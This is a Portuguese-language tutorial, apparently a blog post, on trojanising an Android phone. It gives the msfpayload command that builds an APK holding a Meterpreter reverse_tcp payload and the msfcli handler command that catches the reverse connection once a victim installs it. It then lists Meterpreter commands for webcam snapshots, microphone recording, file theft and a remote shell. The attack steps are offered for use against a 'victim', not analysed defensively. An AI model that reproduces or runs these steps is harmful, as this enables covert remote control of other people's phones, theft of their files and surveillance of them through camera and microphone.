Meterpreter + apk = Invadindo Android

O meterpreter em execução no  smartphone é uma das coisas que tava sentindo falta e o mínimo que eu podia fazer, era demonstrar uma prova de conceito.

O aplicativo para gerar o APK vai sr feito via msfpayload, com esta ferramenta podemos gerar shellcodes, tanto para linguagens como C, Javascript, Ruby, como gerar arquivos binários, que contêm o shellcode. O caso típico é o os cavalos de Tróia, ou como gerar um EXE com Meterpreter de shell inversa. Neste caso, vamos usar o aplicativo para gerar um msfpayload APK para o Android, que terá uma atividade principal um tanto curioso, é que realmente o que você executa é o Meterpreter Java modificado para ser executado em um Android. Usaremos o Msfcli para receber a conexão reversa gerado por shellcode que se executa no terminal.

Primeiro gerar o APK com a instrução msfpayload android/meterpreter/reverse_tcp LHOST=<IP donde esperaremos> LPORT=<puerto donde se debe conectar> R > meter.apk.

Uma vez gerado o nosso bug,  o que faremos é configurar para receber a conexão reversa via msfcli … esperar que o bug volte para casa. Para fazer isso, a ferramenta configurada assim:

msfcli exploit/multi/handler PAYLOAD=android/meterpreter/reverse_tcp LHOST= <IP QUE RECEBERÁ AS CONEXÕES>

piffa_apk

 

 

Uma vez que a vítima execute o APK se executará a shellcode que se encontra dentro do binario, provocando a conexão inversa. Recordamos que Meterpreter é do tipo Stager, assim será também em duas fases, primeiro de conexão e segundo de funcionalidades.

 

Nós já temos a sessão , o que podemos fazer com isso? Mais tarde, deixo uma lista de comandos disponíveis neste Meterpreter, principalmente as coisas que você poderia fazer com um Meterpreter Java. Bem, como lançar exemplo gráfico de uma captura de imagem através da câmera do próprio aparelho, usando o comando webcam_snap. Com webcam_list comando pode listar as câmeras de dispositivo disponíveis (frente, traseira). Um exemplo de captura de imagem da câmera na parte frontal do smartphone rodando o shellcode:

Temos também disponível comandos para download e upload de arquivos para o dispositivo, além de um shell como você pode ver na imagem:

Comandos do Meterpreter de Android:

Core Commands
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information about active channels
    close                     Closes a channel
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    help                      Help menu
    info                      Displays information about a Post module
    interact                  Interacts with a channel
    irb                       Drop into irb scripting mode
    load                      Load one or more meterpreter extensions
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    use                       Deprecated alias for 'load'
    write                     Writes data to a channel

Stdapi: File system Commands
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    upload        Upload a file or directory

Stdapi: Networking Commands
===========================

    Command       Description
    -------       -----------
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    portfwd       Forward a local port to a remote service
    route         View and modify the routing table

Stdapi: System Commands
=======================

    Command       Description
    -------       -----------
    execute       Execute a command
    getuid        Get the user that the server is running as
    ps            List running processes
    shell         Drop into a system command shell
    sysinfo       Gets information about the remote system, such as OS

Stdapi: Webcam Commands
=======================

    Command       Description
    -------       -----------
    record_mic    Record audio from the default microphone for X seconds
    webcam_list   List webcams
    webcam_snap   Take a snapshot from the specified webcam